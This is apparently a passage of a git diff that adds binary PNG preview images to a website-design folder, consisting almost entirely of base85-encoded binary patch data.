z?(H{G6GZzj$sxFmstzN zNpfUAwb;94z_0Ea!#Y@w4*}|*KK1>Dlj)S28DjftYz8Oy=XDV_bFo>|Oq^wJm-;VLATe^uh0b{x46ncU_wN2YNuFv?uyzW@L`6 zpOpOzG-$!{>e#oxYRWRAGdM0EK~6O-pVQo|a6IxcWl{w{d5WA>l5ErU2gss}mfitB zTs!!&+bwk_8?Wl*+f8`l>bXDHH35Yv10iu18)Xj?{z{8vkxx}&Cjnvy4L`FYg(p2Y z@?3DmnU20GKKp1F{T{hL2GT~2^K;xDS3m_oeE1(`2R=9lOTCZC2l*WT=LjUWyH`ng zckyKa7ni}#Z6zm)&2m*vZRIDd`qC>@HFiSKy5PeN_tj}++DwSM#{826*ZQ_kmJC`P z3geL>g*Et`wz1&Iz?Sor$N{VY&1`~c&e7yt>=;=J_1)9uwRPABQFS8I*FKBgH`RGB z^R&j-y2`i%QC#gD@sSb9sSy^No1f|$7?&m+kTYFHcL7VNd=Y)OYd;;8y8Ty04do2@ z%Pf-zHA)J>D!>^wfQXCWJel!IrsQUHa#Cj7*P>osX^-O7`pED|PXDPbNv^RPC+J}N zv|3YJ>!0av#U+W!kpskK^7cgDc3VNG3VE$_!izWy^_w3Dfi4ewxtv)C2NfoOVJlYk zZ;A55UJk2sg0-K&<>0qseR!m*k=|SJW(}k99t(p`O~OqlQLhFSP)<~AKu_ciQoK)L z30+~%+Wf5l_B;0VYLbsvmjj`cK+mfllmY zQ*9S4lcJwdoaG#&|FfhqDTKROYQBy#zY$iu|a)HnNdHmf~Mij8QYgFX0(Z&SM7A_QymrMPW**%YcRIFCp&^hKA z-HBhA9Di?8Q0Vj!1mZbT$4}ufno2Bkix(3ivBoM$dVYA8?nl(M7xC>5^Y=h39;kqjx3ie)W>`&TFfs4_>mP1Q}3)0m>~x6k(n+atqrt`+(%U4-^0<)isM zfwVQ~4KS*X)f&EO)Oi$qsi7x;PjT~ZSO;rJk9#`-7dvAVl(&Uqk2*F0AM;ua?q>DI zHG0H0eaV7p(S3hB^_mi}TM%IJU9SD|8Bh6vb+xSJ;m`g{#at@zMk(m(@zlDx?(xPM zPngFD1SOK>)1SwI$J^O6wnB|?dhySgM9}tR0G#$IX0cyrzKST1=PYn}LRInqA_W_H z5SJ@As~ARDUp*ODX$>}zb6Y$!ocFZnjR5x9{2!9ZXuFPY_Oll>I1A1qZ31rmX!*=< zANi@IYq2%R5^v{dYoBe)Z+=5wP_eht*L?Z4!&UG|uv%8;Y`RfG^HJQGpv`gJ0LIdg z(r9<<#-Tz89f!h%*IK4{Msy{oJW4;#rVCch+5R#8bFJFNay9^r7X;Jh&<51q0PJh5 zIs8HMZcj_3O<|=?Mjsn^9O+2xIE^1jqedSi74B}g>yymMfFnWNJ^WTwV)Ij>z9S8= z*f88HfMwat$E$zDSD^f-ti6kWevb>o4FBbW4-|1IUw?fc1>b4V4b(yd>>ycN=H5(X zsNGDGopG*aN5me{W7WFwu{kHJElmeiTIT5M7*twmBznysyM`NB(lhMK^RbQ8#}JZa zErGV>t(q#x^bWudW}8kR(0jT4ASoy$s6k``m{zQ(`Nif?2I->xlzDi6dtS9VEAK+i zyblthf8RZ8Rf?O>EJhkK7YuE=@=VEGX(?``z|f7j>hw`DyAWG=;yIfrAV}=kupFlo zeyt5!{&MhZ&i_;Md^<8(#%ZQ??1%4O5kiZfJ>SK1kHNob{_#Zups?o;ZuLAGZ0b4v zKfx}YNtOokYH&I+u54H~KG_G#|ajZsF!qw^ZFq=sU2MBvVG5{X<-Bk=1tz4u*1(4Nl6ats4WE=KYtM`j z_a`+l3kb8CZ4Sm>pl`cDic3yu{ z?y05yBR>;&BY5OkzaBdF@p+KwL%^c)wJYD_gFjM>WMllN`Zau7?MJRO%uijI3T)w_ zq%kQD`>icX8MbW(3ff>+hwS2HYvLs>A9R3gkSfdyXq4S@`pY)?tX%3(GEuBe-iOq} zRWMH64ev$9jeRT1fyJFi`}8Lcl9Id@zBG?#DrTPxX_466c2n%YF0|$xCND z$zM#~_+{buq}WSxrmRVwc~_()EEv-QN0`b7B~Y0ZkrI)nGh{A2J_5s_jHQmx6f4NO zPZvsZm4Del4w1tQI}wg{J1B{6OVZt*yV$JL#?S(3-}!QHt|;k~=t|PR^K2E+2t!Sl z4dRTrf}F8=kKYtfdbplSoAZ>6(QAUbhbKBZBknelf-*r7*st8Bq4Z=bsOf35iPTG?_$U}cisk4zg@lH@XM>VF+msngn zfT_sswe7bqa%N5jWpPm{w&P8o+xiNHlQv>w)%8;v@WiHZmgKmc;2=tG1NKre@u&82 z7kd}J#_4nn+6(D6z#(D?bp4(I1jCt$F>vKaeyV+IrXWGRD-bhuDb&sU%u>lel%dAJ zT|07ca%IK} zN!4T~!;Ugaf>t7VbP$!8=eP~VJH=Yg>@VO z@2_D}&EITac&|P6hP!?vr3dDEp7B>EB9Saephv^TMTM1aYi zsBPgB$`JM;7~PqN5^NB~t@PIL8@{h2EZSl5mn=qm>Px0FY$uPmz-3LEWf5@nxr zcDr9Vq5Lfo7|ea(3xX|Fzg%1q1l0@<^o)!(wTc{ZK5@FY?#S-P6qWN2J}fFA&k2B> zkH6Nw^@Ynyg>&xQUI|&p%Kp)I8+@jVZ?C)z6bI&X>oq`gK-IcRr-Qs;QFxpGW5iW) z5zA%$;#o6k!S`ox!Anfdcy^ydd$v#1H8O?VTYnw@degJL;t95^=vCI~6oay+md@+! zabQFJ!UYcV*NwBJ&}2!~-jYnp)mL{umR9H=`SPVvI?Xx39$(e6Kx7|zR+5>j#5=7< zU4K>DnLmmqTjUj6^d}k#2Gu!EKDdPxo%1IQ;yK6RavSFM|Lklgaa?O&dp#>$WBcrD zlP@BLf||AK=xacG4(G=Pr$}t9gr-5MPNg(41YioPgo~=SrQ_ZDw=K#3Z#wa^)ea5IOeEjUZ*<Awo10l+vHMrMHJ}diwX@%&{oRHycouFF73G9ov)W=S?z)<9 z)sMb-Pkkqn_x|lex|Xb6qBJWrp4^eN0G=rEtn*t)Z+jOZE+$~^H@Ie*61BMd6#sT7 z1DFv3lT6%FaK-2koN*WiO0s+?H1Bt_FTdSUsk>)jq=&gm0+D}C231q#ifa#YeT{9h%cvGe`y^r1 za`I{S^j~7ZEj_lkJam^(my_Y^^=eR4ITzLLIa_XfL3=QnoB&iAJz@WHi(OV~Lr5u2 zIGjMGrw3ZC$h((25E8i5Tw79AB8dHr_1M^}qix1FrpEauVkr(r{SAXC$w8^yf32{P zHq#qBA>i7&8!*t9+uuds`6(+kD-n1!jXp%(=+5B|f1~<qw)`+LGJy00g3#!M#`aG>BWFiP0C<{_-h&GS>x&bU(JPSD^B9<~#)l`w?qnTdxWtcD6Q#@z9+8~nKEgVUznXb1nL^BA zymfPJGvc%?{n+t3e$(Z-0?WHf7tf0%TqO**T@atXy*<3a+e|>nnn*ofF6XWaljxUd z?Qt-+o_{wQ3#`2T3?e5yQhEARv+(dmdB?u;ODe^4Vt=+67qAQdKbtOks?hlOnxB8! z&-Us92eg))wRp5Y|1#rF{?mDTpDY$PGr3}N>TUS+>vL>Myz*S~3LXMy3}*Ywy4BX@ z-}?}AGw#(N!OBf9s((f7+?ta8^HKS`DZh^eTQf4S2>?fa<5#E7%l7!-b85!i?DGD3 zc16I9`EZ}VKmAt@y zQ-cb0h!fh20@gAP*M)1?su{$fBbDqC`nNb05@Caw8M%46*_ojXLQ1>)-?(rw#5Ah! zZ8x4J9epe6u-tn0%OVYOm%!CqZX#qR?Dz@$6@O-PF&t1ho>+xcNuk?2Dg|sOz++)F zG)6-M)|?|Pr)(_U`xcmb%t2=dl4`zopr03g0OHvj+t literal 0 HcmV?d00001 diff --git a/website-design/previews/anim3-v5-write.png b/website-design/previews/anim3-v5-write.png new file mode 100644 index 0000000000000000000000000000000000000000..566eca585e2eea7ab45e6e3227e9886e6ddf7717 GIT binary patch literal 17455 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 